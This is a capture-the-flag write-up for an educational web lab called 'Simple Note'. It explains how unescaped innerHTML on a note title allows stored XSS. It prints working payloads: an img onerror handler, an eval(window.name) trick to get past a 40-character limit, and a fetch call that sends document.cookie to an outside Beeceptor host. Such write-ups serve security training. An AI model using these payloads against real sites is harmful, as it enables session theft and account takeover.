---
# System prepended metadata

title: Simple Web - 0x09(Lab - Simple Note)
tags: [Web, eductf, CTF]

---

# Simple Web - 0x09(Lab - Simple Note)
###### tags: `CTF` `Web` `eductf`
Challenge: https://note.ctf.zoolab.org/

## Background
[](https://www.wibibi.com/info.php?tid=402)

## Source Code
```javascript!
...
<script>
    const id = location.pathname.split('/').pop();

    fetch(`/api/note/${id}`).then(r => r.json()).then(({ title, content })=>{
        url.value = location;
        titleNode.innerHTML = title;
        contentNode.innerText = content;
    });   
</script>
...
```
For instance, if our `$id=47a8aad1b3b82dcd4decd36d`, the `script code` will fetch this data as `json` file and parse title and content.
![](https://i.imgur.com/Nwj6gCQ.png)
Then it'll change `titleNode` by `innerHTML` and change `contentNode` by `innerText`.
![](https://i.imgur.com/H8VdiIb.png)

### `innerText` VS `innerHTML`
`innerText` will filter tag but `innerHTML` will not.
For instance, `title=123` and `content=<script>123</script>`
![](https://i.imgur.com/eoXQYv5.png)


For instance, `title=<script>123</script>` and `content=123`
![](https://i.imgur.com/lGgpgQi.png)

### Analysis
According to the response, it seems has no filter of our input, so, we can choose to inject something in <font color="FF0000">`titleNode`</font>
![](https://i.imgur.com/5lNfsqw.png)


## Exploit - XSS
1. We tried to inject `<script>` tag in title but has nothing to trigger.
According to [javascript documentation](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations)
    > It is not uncommon to see innerHTML used to insert text into a web page. There is potential for this to become an attack vector on a site, creating a potential security risk. 
    > Although this may look like a cross-site scripting attack, the result is harmless. HTML specifies that a \<script\> tag inserted with innerHTML should not execute.

    > However, there are ways to execute JavaScript without using \<script\> elements, so there is still a security risk whenever you use innerHTML to set strings over which you have no control. For example: 
    
    ```javascript!
    const name = "<img src='x' onerror='fetch()'>";
    el.innerHTML = name; // shows the alert
    ```

2. Use `img` tag
Payload: `<img src='x' onerror='alert(1)'>`
![](https://i.imgur.com/01YmwNW.png)

3. String limit problem...
There's something wrong, that the title has input limit with 40 character at most. So, we can use `window.name` technique that we can write our payload as long as we can.
If we set:
    ```javascript!
    top.name = 'fetch("https://sbk6401.free.beeceptor.com?sh="+document.cookie)'
    ```
    Furthermore, we set our title as:<font color="FF0000">`<img src=x onerror=eval(window.name)>`</font>

    Then if we reload this page, it'll execute the command in `top.name`
    ![](https://i.imgur.com/B8aRmbN.png)

4. Host a server by `Beeceptor`
Note that, you should change `Content-Type` to `text/html`
![](https://i.imgur.com/eg4UUpl.png)
Then we can change the Report URL as what we set in `Beeceptor`
![](https://i.imgur.com/fVTg6oI.png)

5. Detail about workflow
    ```flow
    st=>start: Start
    e=>end: get flag in Beeceptor
    op=>operation: Set title to <img src=x onerror=eval(top.name)>
    io=>inputoutput: Click Report
    op2=>operation: Set URL as  https://sbk6401.free.beeceptor.com 
    op3=>operation: Execute our script that set in beeceptor
    op4=>operation: Set top.name as our payload
    op5=>operation: redirect to https://note.ctf.zoolab.org/note/fafe93de9467a6022fb8cb19
    op6=>operation: eval(top.name)


    st->op->io->op2->op3->op4->op5->op6->e
    ```

## Reference
[在XSS测试中如何绕过字符长度限制](https://zhuanlan.zhihu.com/p/93192936)